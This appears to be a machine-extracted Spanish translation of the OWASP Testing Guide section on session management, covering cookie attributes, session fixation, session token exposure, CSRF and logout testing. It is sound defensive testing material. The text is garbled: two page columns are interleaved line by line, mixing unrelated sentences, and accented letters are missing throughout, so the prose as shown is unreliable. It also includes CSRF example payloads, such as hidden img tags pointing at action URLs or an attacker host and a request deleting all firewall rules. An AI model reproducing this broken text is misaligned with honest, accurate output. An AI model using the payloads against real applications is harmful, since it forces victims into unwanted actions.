cookies que se utilizan para identificar los elementos que el usuario desea
otherapp.mydomain.com) y el atributo del dominio se ha establecido muy

133
ligeramente (por ejemplo midominio.com), entonces el servidor permitira a un atacante utilizar un servidor vulnerable en el dominio para
vulnerable podra ser utilizado para cosechar las cookies (como las fichas cosechar la cookie del usuario a travs de una vulnerabilidad como XSS.
de sesin).
Atributo de Ruta - Verifique que el atributo de ruta, as como el atributo del
dominio, no han sido establecidos muy libremente. Incluso si el atributo del
dominio ha sido configurado tan firmemente como es posible, si la ruta de
Ruta (path) - Adems del dominio, la ruta de la URL en la que la cookie es acceso se establece hacia el directorio raz "/" entonces puede ser vulnerable a
vlida puede especificarse. Si coincide el dominio y la ruta, la cookie se aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicacin
enviar en la solicitud. Al igual que con el atributo de dominio, si se reside en /myapp/, compruebe que la ruta de cookies est ajustada a
establece el atributo de ruta de acceso muy ligeramente, entonces podra ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aqu que el ruteador
dejar a la aplicacin vulnerable a los ataques de otras aplicaciones en el "/" debe ser utilizado despus de myapp. Si no se utiliza, el navegador enviar la
mismo servidor. cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited".
Por ejemplo, si el atributo de la ruta de acceso se establece en la raz del Atributo de Caducidad - Si este atributo se establece en un momento en el
servidor web "/", entonces se enviarn las cookies de la aplicacin para cada futuro, verifique que la cookie no contenga ninguna informacin sensible. Por
aplicacin dentro del mismo dominio. ejemplo, si una cookie se establece en ; expires=Sun, 31-Jul-2016 13:45:29
GMT y actualmente es 31 de julio de 2014, entonces el evaluador debe
caduca (expires) - este atributo se utiliza para configurar cookies inspeccionar la cookie. Si la cookie es una ficha de sesin que se almacena en el
persistentes, puesto que la cookie no caduca hasta que se supera la fecha disco duro del usuario, entonces un atacante o un usuario local (como un
establecida. Esta cookie persistente se utilizar en esta sesin y en sesiones administrador) que tiene acceso a esta cookie puede acceder a la aplicacin
posteriores hasta que la cookie caduque. Una vez que ha superado la fecha reenviando esta ficha hasta que pase la fecha de caducidad.
de caducidad, el navegador borrar la cookie. Alternativamente, si no se
establece este atributo, entonces la cookie slo es vlida en la sesin actual
del navegador y la cookie se eliminar cuando finalice la sesin.
Herramientas
Intercepting Proxy:
Cmo probar
OWASP Zed Attack Proxy Project
Probar las vulnerabilidades de los atributos de una cookie: Usando un

proxy interceptor o un plug-in interceptor de trfico del navegador, Browser Plug-in:
atrape todas las respuestas que una cookie tiene establecidas por la
aplicacin (use la directiva Set-cookie) y revise la cookie en busca de lo TamperIE for Internet Explorer: bayden.com
siguiente:
Adam Judson: Tamper Data for Firefox: addons.mozilla.org
Atributo seguro - cada vez que una cookie contiene informacin sensible o es
una ficha de sesin, siempre debe ser pasada mediante un tnel encriptado. Por Referencias
ejemplo, despus de iniciar la sesin en una aplicacin y haber establecido una
Libros Blancos
ficha de sesin mediante una cookie, verifique si est etiquetada con una bandera
de "seguridad";. Si no es as, entonces el navegador estar de acuerdo en pasar a
RFC 2965 - HTTP State Management Mechanism: tools.ietf.org
travs de un canal sin encriptar, usando HTTP, y esto podra permitir a un
atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro.
RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org
Atributo HttpOnly - Este atributo debera fijarse siempre, a pesar de que no
The important expires attribute of Set-Cookie
todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios
cruzados, pero elimina algunos vectores de explotacin. Verifique si la etiqueta
HttpOnly Session ID in URL and Page Body
"HttpOnly" ha sido fijada.
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
Atributo del Dominio - Verifique que el dominio no ha sido establecido muy

libremente. Como se seal anteriormente, slo debe establecerse para el
servidor que necesita recibir la cookie. Por ejemplo, si la aplicacin reside en el
Pruebas de Fijacin de Sesin (OTG-SESS-003)
servidor app.mysite.com, entonces debe establecerse en
";domain=app.mysite.com"y no en ";domain=.mysite.com" ya que esto le
134
Breve resumen l obtendr la siguente respuesta
Cuando una aplicacin no renueva su(s) cookie(s) de sesin despus de

HTTP/1.1 200 OK
una autenticacin exitosa, podra ser posible encontrar una
vulnerabilidad de fijacin de sesin y forzar a un usuario a utilizar una
Date: Wed, 14 Aug 2008 08:45:11 GMT
cookie conocida por el atacante. En ese caso, un atacante podra robar la
sesin del usuario (secuestro de sesin). Server: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Path=/; secure
Las vulnerabilidades de fijacin de sesin ocurren cuando:
Cache-Control: no-cache=set-cookie,set-cookie2
Expires: Thu, 01 Dec 1994 16:00:00 GMT

Una aplicacin web autentica a un usuario sin invalidar primero el ID de
Keep-Alive: timeout=5, max=100
sesin existente, de tal modo que contina usando el identificador de sesin
ya asociado con el usuario. Connection: Keep-Alive
Un atacante es capaz de forzar un Identificador de sesin conocido sobre Content-Type: text/html;charset=Cp1254

un usuario para que, una vez que el usuario se autentica, el atacante tenga
acceso a la sesin autenticada.
La aplicacin fija un nuevo identificador de sesin

En una explotacin de vulnerabilidades genricas de fijacin de sesin, un
atacante crea una nueva sesin en una aplicacin web y registra el
JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.
identificador de sesin asociado. El atacante, entonces, hace que la
vctima se autentique en el servidor utilizando el mismo identificador de
sesin, lo que da al atacante acceso a la cuenta del usuario a travs de la
sesin activa. A continuacin, si el evaluador se autentica con xito a la aplicacin con
los siguientes POST HTTPS:
Adems, el problema descrito anteriormente es difcil para los sitios que

emiten un identificador de sesin sobre HTTP y luego redireccionan al
usuario a un formulario de inicio de sesin en HTTPS. Si el identificador
de sesin no es regenerado tras la autenticacin, el atacante puede
husmear y robar el identificador y luego usarlo para secuestrar la sesin.
Cmo probar
Probar las vulnerabilidades de fijacin de sesin:
El primer paso es hacer una solicitud al sitio a ser probado (ejemplo

www.example.com). Si el evaluador solicita lo siguiente:
GET www.example.com

135
POST https://www.example.com/authentication.php HTTP/1.1 HTTP/1.1 200 OK
Host: www.example.com Date: Thu, 14 Aug 2008 14:52:58 GMT
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Server: Apache/2.2.2 (Fedora)
Gecko/20080702 Firefox/2.0.0.16
X-Powered-By: PHP/5.1.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; Content-language: en
q=0.8,image/png,*/*;q=0.5
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Keep-Alive: 300
Content-Type: text/html; charset=UTF-8
...
Referer: http://www.example.com
HTML data
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Como ninguna cookie nueva ha sido emitida tras una autenticacin
Content-length: 57
exitosa, el evaluador sabe que es posible realizar un secuestro de sesin.
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Resultado esperado: El evaluador puede enviar un identificador de sesin
vlido a un usuario (posiblemente usando un truco de ingeniera social),
esperar a que l se autentique y verificar posteriormente que los
privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Hable con los desarrolladores y entienda si se ha implementado una

renovacin de ficha de sesin despus de una autenticacin exitosa de los
usuarios.
Resultado esperado: La aplicacin debe siempre invalidar el

identificador de sesin existente, antes de autenticar a un usuario; y si la
autenticacin tiene xito, proporcionar otro identificador de sesin.
Herramientas
Hijack - a numeric session hijacking tool: yehg.net
OWASP WebScarab: owasp.org

136
Para probar las vulnerabilidades de encriptacin y reutilizacin de las

fichas de sesin:
Referencias
La proteccin contra intrusos es proporcionada a menudo por una
Libros Blancos encriptacin SSL, pero puede incorporar otros tneles o encriptados.
Cabe sealar que la encriptacin o hash criptogrfico del identificador de
Session Fixation: owasp.org sesin debe considerarse por separado del encriptado del transporte, ya
que es el identificador de sesin en s el que se est protegiendo, no los
ACROS Security: acrossecurity.com datos que pueden ser representados por l.
Chris Shiflett: shiflett.org
Si un atacante puede presentar un identificador de sesin a la aplicacin

para tener acceso, entonces esta debe estar protegida durante el trnsito
Pruebas para determinar la Exposicin de las Variables de Sesin (OTG-
para mitigar ese riesgo. Por lo tanto, debera asegurarse que la
SESS-004)
encriptacin sea tanto la norma como el que sea reforzada para cualquier
peticin o respuesta en la que se transfiera el identificador de sesin, sin
Resumen
importar el mecanismo utilizado (por ejemplo, un campo oculto de un
formulario). Debe realizar controles simples como la sustitucin de
Las fichas de sesin(Cookie, SessionID, Hidden Field), si se exponen,
https:// con http:// durante la interaccin con la aplicacin, junto con la
generalmente permitirn a un atacante hacerse pasar por una vctima y
modificacin de los formularios publicados para determinar si se
acceder a la aplicacin ilegtimamente. Es importante que estn
implementa la segregacin adecuada entre los sitios seguros y no
protegidas de intrusos en todo momento, especialmente mientras estn
seguros.
en trnsito entre el navegador del cliente y los servidores de las
aplicaciones.
Tenga en cuenta tambin que si hay un elemento en el sitio donde se

realiza un seguimiento del usuario a traves de un identificador de sesin,
Esta informacin se refiere a cmo la seguridad en el transporte se aplica
pero la seguridad no est presente (por ejemplo, observando qu
a la transferencia de datos sensibles del identificador de sesin en
documentos pblicos descarga un usuario registrado), es esencial que se
general, y puede ser ms estricta que las polticas de transporte y
utilice un identificador de sesin diferente. El identificador de sesin, por
almacenamiento en cach de los datos atendidos por el sitio.
lo tanto, debe ser monitoreado mientras el usuaio cambia entre
elementos seguros y no seguros para garantizar que se utiliza uno
diferente.
Utilizando un proxy interceptor, es posible conocer lo siguiente sobre
cada peticin y respuesta:
Resultado esperado:
Protocol used (e.g., HTTP vs. HTTPS) Cada vez que la autenticacin es exitosa, el usuario debe esperar recibir:
HTTP Headers
Message Body (e.g., POST or page content) Una ficha de sesin diferente
Una ficha enviada a traves de un canal encriptado cada vez que se hace una
solicitud HTTP
Cada vez que los datos del identificador de sesin pasan entre el cliente y
el servidor, el protocolo, cach, las directivas y cuerpo de privacidad
deben ser revisadas. La seguridad del transporte se refiere a la
Para probar las vulnerabilidades de proxys y cach
circulacin del identificador de sesin por peticiones GET o POST, cuerpo
de los mensajes u otros medios, mediante solicitudes HTTP vlidas.
Los proxys tambin debe considerarse al revisar la seguridad de las
aplicaciones. En muchos casos, los clientes accedern a la aplicacin a
travs del ISPcorporativo y los proxies o gateways conscientes del
Cmo probar protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona

137
directivas para controlar el comportamiento de proxies aguas abajo, y la

correcta aplicacin de estas directivas tambin debe ser evaluada.
Resultado esperado:
Todo cdigo del lado del servidor que recibe datos de solicitudes POST
En general, el identificador de sesin nunca debe ser enviado mediante debe ser analizado para asegurarse que no acepte los datos si se enva
un transporte no encriptado y no debe almacenarse en cach. La como una solicitud GET. Por ejemplo, considere la siguiente peticin
aplicacin debe ser examinada para asegurarse que las comunicaciones POST, generada por una pgina de registro.
encriptadas sean tanto la norma como el que sean reforzadas para
cualquier transferencia de identificadores de sesin. Adems, cada vez
POST https://owaspapp.com/login.asp HTTP/1.1
que se pasa el identificador de sesin, las directivas deben estar colocadas
para evitar su almacenamiento en cach por cachs intermedios e incluso
Host: owaspapp.com
locales.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2)
Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicacin debe configurarse tambin para asegurar los datos en Accept: */*
cach, tanto en HTTP/1.0 y HTTP/1.1 RFC 2616 discute los controles
adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de Accept-Language: en-us, en
mecanismos de control de cach. Control-Cache: no-cache indica que un
proxy no debe volver a utilizar los datos. Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
permite a un proxy no compartido acceder a los datos del cach. En el
caso de caf net u otros sistemas compartidos, esto presenta un riesgo Cache-Control: max-age=0
evidente. Incluso con estaciones de trabajo monousuario, el identificador
de sesin almacenada en cach puede quedar expuesto si el sistema de Content-Type: application/x-www-form-urlencoded
archivos se encuentra comprometido o si se utilizan cadenas de tiendas.
Los Cachs de HTTP/1.0 no reconocen la directiva de Cache-Control: no- Content-Length: 34
cache.
Login=Username&password=Password&SessionID=12345678
Resultado esperado:
Las directivas "Expires: 0" y Cache-Control: max-age = 0 pueden usarse

para asegurar posteriormente que los cachs no expongan los datos. Si login.asp est mal implementado, es posible iniciar una sesin con la
Cada solicitud y respuesta que pasa datos del identificador de sesin siguiente URL:
deben ser examinadas para asegurar que las directivas de cach
adecuadas estn siendo utilizadas. http://owaspapp.com/login.asp?Login=Username&password=Password&Sessio
nID=12345678
Para probar Las vulnerabilidades De GET Y POST:

Se pueden identificar los scripts potencialmente inseguros del servidor
En general, las solicitudes GET no deberan utilizarse, ya que el revisando cada POST de esta manera.
identificador de sesin puede quedar expuesto en el registro del Proxy o
del Firewall. Tambin son ms fcilmente manipulables que otros tipos de
transporte, aunque debe sealarse que cualquier mecanismo puede ser
manipulado por el cliente con las herramientas adecuadas. Adems, los Para probar las vulnerabilidades de transporte:
ataques de scripts de sitios cruzados (XSS) son explotados ms fcilmente
mediante el envo de un enlace especialmente construido para la vctima. Toda la interaccin entre el cliente y la aplicacin debe probar, al menos,
Esto es mucho menos probable si los datos se envan desde el cliente los siguientes criterios.
como POST.

138
Cmo se transfieren los identificadores de sesin, por ejemplo, GET, [3] La gestin de sesin de la aplicacin basada nicamente en la
POST, Form Field(incluyendo campos ocultos)? informacin que es conocida por el navegador;
Son los identificadores de sesin enviados siempre a travs de [4] La existencia de etiquetas HTML cuya presencia permite un acceso
transporte encriptado por defecto? inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
Es posible manipular la aplicacin para enviar los identificadores de

sesin sin encriptar?, por ejemplo, cambiando de HTTPS a HTTP?
Los puntos 1, 2 y 3 son esenciales para que la vulnerabilidad est
Qu directivas de control de cach se aplican a las solicitudes o presente, mientras que el punto 4 es un accesorio y facilita la explotacin
respuestas que pasan identificadores de sesin? Estn siempre real, pero no es estrictamente necesario.
presentes estas directivas? Si no es as, dnde estn estas excepciones?
Incorporan las solicitudes GET al identificador de sesin utilizado?

Punto 1) Los navegadores envan automticamente informacin que se
Si se utiliza un POST, puede ser intercambiado con GET? utiliza para identificar una sesin de usuario. Supongamos que el sitio es
un sitio que aloja una aplicacin web, y el usuario vctima acaba de
autenticarse slo en el sitio. En respuesta, el sitio enva a la vctima una
cookie que identifica las peticiones enviadas por la vctima como
Referencias pertenecientes a la sesin autenticada por l o ella. Bsicamente, una vez
que el navegador recibe la cookie configurada por el sitio,
Libros Blancos automticamente la enviar junto con cualquier otra solicitud dirigida al
sitio.
RFCs 2109 & 2965 HTTP State Management Mechanism [D. Kristol, L.
Montulli]: ietf.org
RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org Punto 2) Si la aplicacin no hace uso de la informacin relacionada con la
sesin en las URL, entonces significa que las URL de la aplicacin, sus
parmetros y valores legtimos pueden identificarse (ya sea por el
anlisis de cdigo o accediendo a la aplicacin y tomando nota de los
Pruebas de un CSRF (OTG-SESS-005)
formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen
CSRF es un ataque que obliga a un usuario a ejecutar acciones no

Punto 3) "Conocida por el navegador" se refiere a informacin como
deseadas en una aplicacin web en la que actualmente l o ella se
cookies o informacin de autenticacin basada en http (como
encuentra autenticado(a). Con un poco de ayuda de la ingeniera social
autenticacin bsica y no basada en los formularios de autenticacin),
(como enviar un enlace a travs de un correo electrnico o chat), un
que son almacenadas por el navegador y posteriormente enviadas a cada
atacante puede forzar a los usuarios de una aplicacin web a ejecutar
peticin dirigida hacia un rea de aplicacin, solicitando la autenticacin.
acciones escogidas por el atacante.
Las vulnerabilidades discutidas a continuacin se refieren a las
aplicaciones que dependen totalmente de este tipo de informacin para
identificar una sesin de usuario.
Un ataque CSRF exitoso puede comprometer los datos del usuario final y
la operacin cuando se dirige a un usuario normal. Si la cuenta de
administrador es el usuario final objetivo , un ataque CSRF puede
Supongamos, para simplificar, que para referirse a las direcciones URL
comprometer a toda la aplicacin de web.
accesibles mediante peticiones GET (aunque la discusin se aplica
tambin a las peticiones POST). Si la vctima ya se ha autenticado, el envo
de otra peticin causa que la cookie se despache automticamente con
CSRF se basa en lo siguiente: sta (vea la imagen, donde el usuario accede a una aplicacin en
www.example.com).
[1] El comportamiento del navegador web con respecto al manejo de
informacin relacionada con la sesin como las cookies y la informacin
de autenticacin http;
[2] El conocimiento del atacante sobre URLs vlidos de aplicaciones web;

139
<html><body>
...
<img src=https://www.company.example/action width=0

height=0>
La peticin GET puede originarse de varias maneras diferentes:
...
por el usuario, que est utilizando la aplicacin web misma;
por el usuario, que escribe la URL directamente en el navegador;

</body></html>
por el usuario, que sigue un enlace (externo a la aplicacin) apuntando a la
URL.
Lo que har el evaluador cuando presente esta pgina es intentar mostrar
tambin el carcter zero-width especificado (es decir, invisible). Esto
resulta en una peticin que se enva automticamente a la aplicacin web
Estas invocaciones son indistinguibles por la aplicacin. En particular, el
alojada en el sitio. No importa que la imagen del URL no haga referencia a
tercer punto puede ser muy peligroso. Hay una serie de tcnicas (y
una imagen adecuada; su presencia activar la solicitud especificada en el
vulnerabilidades) que pueden encubrir las propiedades reales de un
campo SRC de todos modos. Esto sucede siempre que la descarga de
enlace. El enlace puede incrustarse en un mensaje de correo electrnico, o
imagenes no est deshabilitada en los navegadores, que es una
aparecer en un sitio web malintencionado donde el usuario es engaado,
configuracin tpica, ya que desactivar las imgenes significara paralizar
es decir, el enlace aparece en el contenido alojado en otra parte (otro sitio
la mayora de las aplicaciones web inutilizndolas.
web, un mensaje de correo electrnico HTML, etc.) y apunta a un recurso
de la aplicacin. Si el usuario hace clic en el enlace, puesto que l ya
estaba autenticado por la aplicacin web en el sitio, el navegador enviar
una peticin GET a la aplicacin web, acompaada de la informacin de
El problema aqu es una consecuencia de los siguientes hechos:
autenticacin (la cookie de identificacin de sesin). Esto resulta en una
operacin vlida, realizada en la aplicacin web que probablemente no es
lo que el usuario esperaba que ocurra. Piense en un enlace malicioso que
realiza una transferencia de fondos en una aplicacin web bancaria para Hay etiquetas HTML cuya aparicin en una pgina resulta en una ejecucin
apreciar las implicaciones. de una solicitud automtica de la http (siendo una de stas img);
el navegador no tiene manera de saber que el recurso referenciado por img

no es realmente una imagen y que de hecho no es legtimo;
Mediante el uso de una etiqueta como img, tal como se especific
anteriormente en el punto 4, ni siquiera es necesario que el usuario siga la carga de la imagen sucede independientemente de la ubicacin de la
un enlace concreto. Supongamos que el atacante enva al usuario un supuesta imagen, es decir, el formulario y la imagen en s no necesitan estar
correo electrnico que le invita a visitar una URL de una pgina que ubicados en el mismo host, ni siquiera en el mismo dominio. Aunque sta es
contiene el siguiente cdigo HTML (sobresimplificado): una caracterstica muy til, hace difcil compartimentar aplicaciones.
Es un hecho que el contenido HTML no relacionado con la aplicacin web

puede referirse a los componentes de la aplicacin, y que el navegador
automticamente crea una solicitud vlida para la aplicacin, que permite
este tipo de ataques. Como no hay estndares definidos en este momento,
no hay manera de prohibir este comportamiento a menos que se haga
imposible que el atacante pueda especificar solicitudes de direcciones
URL vlidas. Esto significa que las URL vlidas deben incluir informacin
relacionada a la sesin del usuario, que supuestamente no pueda ser

140
conocida por el atacante y, por lo tanto, sea imposible la identificacin de configuracin si el usuario introduce '*' (una caracterstica peligrosa,
esas URL. pero que har que el ejemplo sea ms interesante). La pgina de
eliminacin se muestra a continuacin. Supongamos que el formulario
por simplicidad emite una solicitud GET, que tendr la forma:
El problema podra ser an peor ya que, en ambientes integrados de

correo y navegador, simplemente mostrar un mensaje de correo https://[target]/fwmgt/delete?rule=1
electrnico que contiene la imagen resultara en la ejecucin de la
solicitud hacia la aplicacin web con la cookie del navegador asociado.
Las cosas pueden ofuscarse ms mediante la referencia de la imagen (para eliminar la regla nmero uno)
aparentemente vlida de la URL como:
https://[target]/fwmgt/delete?rule=*
<img src=https://[attacker]/picture.gif width=0 height=0>
(para eliminar todas las reglas).

donde [atacante] es un sitio controlado por el atacante, utilizando un
mecanismo de redireccin en:
El ejemplo es deliberadamente ingenuo, pero muestra de manera sencilla

http://[attacker]/picture.gif to http://[thirdparty]/action. los peligros del CSRF.
Las cookies no son el nico ejemplo en este tipo de vulnerabilidad. Las

aplicaciones web cuya informacin de sesin se suministra totalmente
mediante el navegador son vulnerables tambin. Esto incluye
aplicaciones que se apoyan solamente en mecanismos de autenticacin
HTTP, ya que la informacin de autenticacin es conocida por el
navegador y se enva automticamente en cada peticin. Esto NO incluye
la autenticacin basada en formularios, que ocurre slo una vez y genera Por lo tanto, si entramos el valor '*' y presiona el botn Supr, se enva la
algn tipo de informacin relacionada con la sesin (por supuesto, en siguiente solicitud GET:
este caso, dicha informacin se expresa simplemente como una cookie y
podemos caer en uno de los casos anteriores).
https://www.company.example/fwmgt/delete?rule=*
Escenario de ejemplo
Supongamos que la vctima ha iniciado la sesin en una aplicacin web de

gestin de firewall. Para iniciar la sesin, un usuario tiene que
autenticarse por s mismo y la informacin de sesin se almacena en una
cookie.
Supongamos que la aplicacin web de gestin de firewall tiene una

funcin que permite al usuario autenticado eliminar una regla
especificada por su nmero posicional, o todas las reglas de la
141
con el efecto de eliminar todas las reglas del firewall (y terminar en una
situacin posiblemente inconveniente).
Cmo probar
Para una prueba de Caja Negra, el evaluador debe conocer las direcciones
URL en el rea restringida (autenticada). Si poseen credenciales vlidas,
pueden asumir ambos roles el de agresor y el de vctima. En este caso,
los evaluadores saben las URL a probar solo con hojear alrededor de la
aplicacin.
Ahora, este no es el nico escenario posible. El usuario podra haber

logrado los mismos resultados enviando manualmente la URL
De lo contrario, si los evaluadores no tienen credenciales vlidas
disponibles, tienen que organizar un ataque real y as inducir a un usuario
https://[target]/fwmgt/delete?rule=* legitimamente registrado a seguir hacia el enlace apropiado. Esto puede
implicar un nivel substancial de ingeniera social.
De cualquier manera, un caso de prueba se puede construir de la

siguiente manera:
o siguiendo un enlace directamente o a travs de una redireccin a la URL
anterior, O, nuevamente, accediendo a un HTML con una etiqueta img
Asumiendo que 'u' sea la URL a probar; por ejemplo, u =
integrada que apunte a la misma URL.
http://www.example.com/action
Construya una pgina html que contenga la solicitud http que hace referencia
a la URL 'u' (especificando todos los parmetros relevantes; en el caso de una
En todos estos casos, si el usuario tiene iniciada una sesin en la
solicitud http GET esto es directo, mientras que para una solicitud POST
aplicacin de administracin del firewall, la peticin tendr xito y
necesita recurrir a algunos Javascript);
modificar la configuracin del firewall. Uno puede imaginar los ataques
contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas Asegrese de que el usuario se encuentra registrado en la aplicacin;
automticas, transferencias de dinero, rdenes, cambiar la configuracin
de componentes de software crtico, etc. Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre
ingeniera social si usted no puede suplantar al usuario);
Observe el resultado, es decir, compruebe si el servidor web ejecuta la

Una cosa interesante es que estas vulnerabilidades pueden practicarse solicitud.
detrs de un firewall; es decir, es suficiente que el enlace atacado sea
accesible por parte de la vctima (no directamente por el atacante). En
particular, puede ser cualquier servidor de web de Intranet; por ejemplo,
la estacin de administracin del firewall mencionado anteriormente, que Pruebas de Caja Gris
es poco probable que sea expuesto a Internet. Imagine un ataque CSRF
dirigido a una aplicacin de monitoreo de una planta de energa nuclear. Audite la aplicacin para determinar si su gestin de sesin es vulnerable.
Suena poco probable? Puede ser, pero es una posibilidad. Si la gestin de sesiones se basa nicamente en los valores del lado del
cliente (informacin disponible para el navegador), entonces la aplicacin
es vulnerable. "Valores del lado del cliente" significa cookies y
credenciales de autenticacin de HTTP (autenticacin bsica y otras
Las aplicaciones autovulnerables, es decir, aplicaciones que se utilizan formas de autenticacin HTTP, autenticacin no basada en formularios,
tanto como vector de ataque como destino (por ejemplo, aplicaciones de que es una autenticacin a nivel de aplicacin). Para que una aplicacin
correo web), empeoran las cosas. no sea vulnerable, debe incluir informacin relacionada con la sesin en
la URL, en una forma no identificable o impredecible para el usuario ([3]
Si una aplicacin es vulnerable, el usuario est obviamente registrado utiliza el trmino secreto para hacer referencia a este dato).
cuando lee un mensaje que contiene un ataque CSRF, que puede apuntar a
la aplicacin de correo web y tenerla realizando acciones como borrar
mensajes, enviar mensajes que aparecen como enviados por el usuario,
etc.

142
Los recursos accesibles a travs de peticiones HTTP GET son fcilmente No utilice el mismo navegador para acceder a aplicaciones sensibles y
vulnerables, aunque las peticiones POST se pueden automatizar va para navegar libremente por Internet. Si es necesario, haga ambas cosas
Javascript y son vulnerables tambin, por lo tanto, el uso exclusivo de en la misma mquina y con distintos navegadores.
solicitudes POST no es suficiente para corregir la aparicin de
vulnerabilidades CSRF.
Tanto el correo/navegador como los entornos de lector/navegador

integrados en HTML plantean riesgos adicionales, puesto que
Herramientas simplemente ver un mensaje de correo o un mensaje de noticias puede
conducir a la ejecucin de un ataque.
OWASP ZAP: owasp.org
CSRF Tester: owasp.org

Desarrolladores
Cross Site Requester: owasp.org
Agregue informacin relacionada a la sesin a la URL. Lo que hace posible
Cross Frame Loader: owasp.org el ataque es el hecho de que la sesin es identificada como nica por la
cookie, que se enva automticamente por el navegador. Tener otra
Pinata-csrf-tool: code.google.com informacin especfica de la sesin que se genera a nivel de la URL
dificulta al atacante conocer la estructura de las URL a atacar.
Referencias
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer
Libros Blancos
ms difcil la explotacin:
Peter W: Cross-Site Request Forgeries: tux.org

Usar solicitudes POST en vez de solicitudes GET. Puesto que las solicitudes
POST se pueden simular mediante JavaScript, esto hace que sea ms complejo
Thomas Schreiber: Session Riding: securenet.de
montar un ataque.
Oldest known post: zope.org

Lo mismo sucede con pginas de confirmacin intermedias (tales como:
"est seguro que desea hacer esto?"). Estas pueden ser evitadas por un
Cross-site Request Forgery FAQ: cgisecurity.com
atacante, aunque harn su trabajo un poco ms complejo. Por lo tanto, no
dependa nicamente de estas medidas para proteger su aplicacin.
A Most-Neglected Fact About Cross Site Request Forgery (CSRF): yehg.net
Los mecanismos de cierre automtico de sesin mitigan, de alguna manera,

la exposicin a estas vulnerabilidades, aunque en ltima instancia depende del
contexto (un usuario que trabaja todo el dia en una aplicacin web bancaria
Remediacin
vulnerable tiene obviamente un mayor riesgo que un usuario que utiliza la
misma aplicacin ocasionalmente).
Las siguientes defensas se dividen entre las recomendaciones para los
usuarios y para los desarrolladores.
Actividades de seguridad relacionadas

Usuarios
Descripcin de vulnerabilidades CSRF
Ya que las vulnerabilidades CSRF son, al parecer, generalizadas, se
Vea el artculo de OWASP sobre vulnerabilidades CSRF.
recomienda seguir las mejores prcticas para mitigar el riesgo. Algunas
acciones de mitigacin son:
Cierre la sesin inmediatamente despus de usar una aplicacin web.

Cmo evitar las vulnerabilidades CSRF
No permita que el navegador guarde el nombre de usuario/contraseas

Vea en la gua de desarrollo OWASP el artculo sobre cmo evitar las
y no permita que los sitios web "recuerden" la informacin de registro.
vulnerabilidades CSRF.

143
Cmo revisar el cdigo de vulnerabilidades CSRF
Vea la gua de revisin de cdigo de OWASP sobre cmo Revisar las A los usuarios de navegadores web a menudo no les importa que una
vulnerabilidades CSRF. aplicacin est todava abierta y simplemente cierran el navegador o la
pestaa. Una aplicacin web debe considerar este comportamiento y
terminar la sesin automticamente del lado del servidor despus de un
tiempo definido.
Cmo prevenir vulnerabilidades CSRF
Vea la Hoja de Prevencin de Trampas CSRF de OWASP para ver medidas

de prevencin. El uso de un sistema de registro nico (single sign-on SSO) en lugar de
un esquema de autenticacin de aplicaciones especficas, a menudo causa
la coexistencia de mltiples sesiones que deben terminarse por separado.
Por ejemplo, la terminacin de la sesin de la aplicacin especfica no
Pruebas de la funcionalidad del cierre de sesin (OTG-SESS-006) termina la sesin en el sistema SSO.
Resumen
El cierre de sesin es una parte importante del ciclo de vida de la sesin. Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de
Reducir al mnimo la vida til de las fichas de sesin disminuye la volver a iniciar una sesin en la aplicacin donde la sesin fue terminada
probabilidad de un ataque de secuestro de sesin exitoso. Esto puede poco antes. Por otro lado, una funcin de registro en un sistema SSO no
verse como un control contra la prevencin de otros ataques como el necesariamente causa el cierre de sesin en las aplicaciones
Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce interconectadas.
que este tipo de ataques dependen de que un usuario tenga una sesin
autenticada en ese momento. No tener una terminacin de sesin segura
slo aumenta la superficie de ataque para cualquiera de estos ataques.
Cmo probar
Para probar la interfaz de cierre de sesin del usuario:

Una terminacin de sesin segura requiere, por lo menos, de los
siguientes componentes: Verifique el aspecto y la visibilidad de la funcionalidad de la interfaz de
cierre de sesin del usuario. Para ello, vea cada pgina desde la
perspectiva de un usuario que tiene la intencin de cerrar la sesin de la
aplicacin web.
La disponibilidad de controles de interfaz de usuario que permiten al usuario
desconectarse manualmente.
La terminacin de la sesin despus de un perodo especfico de tiempo sin Resultado esperado:

actividad (tiempo de caducidad de sesin).
Existen algunas propiedades que indican una buena interfaz de cierre de
Una correcta anulacin del estado de la sesin desde el servidor. sesin del usuario:
Hay mltiples cuestiones que pueden prevenir la terminacin eficaz de Un botn de cierre de sesin est presente en todas las pginas de la
una sesin. Para la seguridad ideal de la aplicacin web, un usuario debe aplicacin web.
ser capaz de terminar en cualquier momento a travs de la interfaz de
usuario. Cada pgina debe contener un botn de cierre de sesin en un El botn de cierre de sesin debe ser rpidamente identificable por un
